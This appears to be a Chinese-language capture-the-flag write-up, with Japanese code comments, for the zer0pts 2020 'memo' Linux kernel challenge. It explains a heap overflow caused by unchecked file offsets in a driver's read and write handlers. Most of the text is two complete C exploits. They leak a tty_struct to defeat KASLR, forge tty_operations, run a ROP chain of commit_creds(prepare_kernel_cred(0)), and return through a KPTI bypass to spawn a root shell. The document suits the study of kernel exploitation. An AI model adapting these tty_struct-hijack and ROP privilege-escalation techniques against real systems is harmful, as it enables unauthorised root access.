zer0pts-2020-memo：由文件偏移处理不正确--引发的堆溢出-编程知识

启动脚本

#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./rootfs.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \-cpu kvm64,+smep,+smap \-monitor /dev/null \-nographic -enable-kvm

/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_read和mod_write中，没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候，分配的memo是kmalloc-0x400的slab
2、分配tty_struct，使得与memo在同一kcache中，并且在memo下方
3、通过读memo下方的tty_struct，从而得到内核基地址（绕过kaslr）和堆相关的地址（从而获得memo的地址kernheap，布置rop）
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations，在0x300+0xC*8处布置tty_operations->ioctl，一个栈迁移指令
6、将rop布置到memo起始处（通过swapgs_restore_regs_and_return_to_usermode绕过PTI）
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define ulong unsigned longulong user_cs, user_ss, user_sp, user_rflags;void pop_shell(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}static void save_state(void)
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}int main(void)
{// 前提是可以溢出，int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_structchar buf[0x400];ulong *rop;ulong kernbase, kernheap;/**** gadgets ****/ulong off_ptm_unix98_ops_kernbase = 0x6191e0;ulong off_kernheap = 0x438;// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)ulong gad1 = 0x243b8;// 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)ulong pop_rdi = 0xe7ae8;// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)ulong mov_rdi_rax = 0xfc8e;// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)ulong pop_rcx = 0xfb892;ulong prepare_kernel_cred = 0x44850;ulong commit_creds = 0x44680;/*0xffffffff812009c4 <+68>:    mov    rdi,rsp0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff818060040xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]0xffffffff812009de <+94>:    push   QWORD PTR [rdi]0xffffffff812009e0 <+96>:    push   rax0xffffffff812009e1 <+97>:    xchg   ax,ax0xffffffff812009e3 <+99>:    mov    rdi,cr30xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>0xffffffff812009e8 <+104>:   mov    rax,rdi0xffffffff812009eb <+107>:   and    rdi,0x7ff*/ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;// 保存状态save_state();// 溢出，读取 tty_structlseek(memo, 0x300, SEEK_SET);read(memo, buf, 0x400);// leak kernbase and kernheap// 可以从 tty_struct 中获取两类数据，代码的基地址，堆的基地址kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显printf("kernbase: %lx\n", kernbase);// struct tty_struct-> read_wait(list_head)->next 指向了自己// 这个地方 off_kernheap 在不同的环境下不一定，需要自己调试确认一下kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址printf("kernheap: %lx\n", kernheap);// vtableへのポインタの書き換え*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中lseek(memo, 0x300, SEEK_SET);write(memo, buf, 0x400); // overwrite ops and ioctl entry// ROP chainrop = (unsigned long *)buf;// gad1のごまかし*6*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;// init_task の cred を入手*rop++ = kernbase + pop_rdi;*rop++ = 0;*rop++ = kernbase + prepare_kernel_cred;// 入手したcredを引数にしてcommit*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく*rop++ = 0;*rop++ = kernbase + mov_rdi_rax;*rop++ = kernbase + commit_creds;// return to usermode by swapgs_restore_regs_and_return_to_usermode*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;*rop++ = 0;*rop++ = 0;*rop++ = (ulong)&pop_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;// invoke shelllseek(memo, 0x0, SEEK_SET);write(memo, buf, 0x100);// ioctl(ptmx,0xdeadbeef,0xcafebabe);// ioctl(ptmx,rip,rdx)// rip = 0xdeadbeef// rdx = 0xcafebabeioctl(ptmx, kernheap, kernheap);return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;static void save_state()
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags):: "memory");
}static void win() {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};puts("[+] Win!");execve("/bin/sh", argv, envp);
}int main() {unsigned long buf[0x400 / sizeof(unsigned long)];save_state();/* open drivers */int fd = open("/dev/memo", O_RDWR);if (fd < 0) {perror("/dev/memo");return 1;}int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx < 0) {perror("/dev/ptmx");return 1;}/* leak kbase & kheap */lseek(fd, 0x100, SEEK_SET);read(fd, buf, 0x400);kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;printf("[+] kbase = 0x%016lx\n", kbase);printf("[+] kheap = 0x%016lx\n", kheap);/* write fake vtable, rop chain & overwrite ops */// fake tty_structbuf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops// fake tty_operationsbuf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl// rop chainunsigned long *chain = &buf[0x100 / sizeof(unsigned long)];*chain++ = kbase + rop_pop_rdi;*chain++ = 0;*chain++ = kbase + prepare_kernel_cred;*chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep*chain++ = 0;*chain++ = kbase + rop_mov_rdi_rax;*chain++ = kbase + commit_creds;    // cc(pkc(0));*chain++ = kbase + rop_bypass_kpti; // return to usermode*chain++ = 0xdeadbeef;*chain++ = 0xdeadbeef;*chain++ = (unsigned long)&win;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;// overwrite!lseek(fd, 0x100, SEEK_SET);write(fd, buf, 0x400);/* ignite! */ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13return 0;
}